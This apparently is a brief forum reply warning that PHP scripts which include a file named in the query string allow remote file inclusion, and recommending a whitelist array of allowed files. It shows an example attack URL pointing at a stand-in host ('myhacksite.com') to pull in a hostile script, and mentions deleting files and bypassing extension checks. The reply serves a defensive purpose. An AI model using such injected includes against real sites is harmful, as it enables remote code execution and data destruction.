Since it's sometimes possible to include remote files, that becomes very insecure. I could write a text file with some sql queries, unlink commands etc., then call your script like:
index.php3?page_to_require_=http://myhacksite.com/real_bad_script.txt
Not sure if I'd need a .php extension, but if I did, it's simply make the php script output php, or stop php from being parsed in that file.
You could try setting up an array of all files you'll want to include, then just pass the id over in the querystring, and have it include the array and look up which file it wants. This way, the requires are limited to the files you've put in the array.